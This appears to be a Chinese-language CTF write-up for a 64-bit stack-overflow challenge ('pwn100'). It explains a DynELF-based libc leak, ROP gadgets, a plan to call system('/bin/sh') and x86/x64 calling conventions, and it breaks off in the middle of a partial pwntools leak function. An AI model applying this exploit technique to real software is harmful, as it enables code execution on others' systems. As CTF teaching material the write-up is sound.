文章目录
前言
这一题和pwn-200有类似之处,都是栈溢出漏洞,可以循环泄露,所以都使用DynELF来泄露。但是pwn200是32位程序用rop,pwn100是64位程序用rop。区别在于32位程序利用栈布局,而64位程序调用参数是利用寄存器。且本题是用puts函数来泄露,puts函数不能指定输出字符串的长度。
利用思路
0x01.ida调试发现sub_40063D函数可以溢出
0x02.cyclic计算溢出需要填充72字节
0x03.checksec看一下保护
Arch: amd64-64-little
RELRO: Partial RELRO //可以修改GOT表
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)//未开启地址随机化
0x04.利用思路:
1.利用DynELF模块泄露system函数地址
2.构造rop链,写入"/bin/sh"
3.调用system函数
0x05.可以用vmmap查找binary文件地址
这里找到一个 rw-p
的地址,即可写地址 0x601000,pwn-200做的时候是用的bss段地址bss_addr=elf.bss()
,但是这一题我看网上wp基本没有用bss段地址的,我自己试了一下用bss段地址打不通。
0x06.用 ROPgadget --binary pwn100 --only "pop|ret" | grep rdi
命令寻找ROP
poprdi_addr=0x400763
pop6_addr=0x40075a
0x07.32位程序和64位程序的差别
- 32位程序中,函数调用是直接将参数压栈,需要用的时候直接将参数放在栈上,调用的函数就能直接取得参数并运算。
- x64的gcc优化了x86的传参方式,x64程序设立了几个寄存器李存放参数,调用函数的时候先向寄存器之中放参数,当参数的数量大于寄存器的时候,才会向栈中放参数。
fun(1,2,3,4,5,6,7,8,9);//当我们调用这个函数的时候
//x86传参的方式是这样:
push 9;
push 8;
···
push 1;
call fun;
//x64传参方式:
mov r9d 6;
mov r8d 5;
mov ecx 4;
mov edx 3;
mov esi 2;
mov edi 1;
mov DWORD PTR [rsp+16], 9;
mov DWORD PTR [rsp+8], 8;
mov DWORD PTR [rsp], 7;
call fun;
传参的顺序,默认是从最后一个参数先开始传入,x86和x64都是一样。
参考blog
0x08.写出leak函数
def leak(address):
count = 0
up = ''
content = ''
payload = junk
payload += p64(pop_rdi) #给put的参数
payload += p64(address) #leak函数的参数
payload += p64(puts_addr) #调用put函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200,'B') #填充到200字节,触发循环的break
r.send(payload)
r.recvuntil("bye~\n")
利用过程
0x01.先尝试泄露
0x4个字节时候才是需要泄露的地址
def leak(address):
count =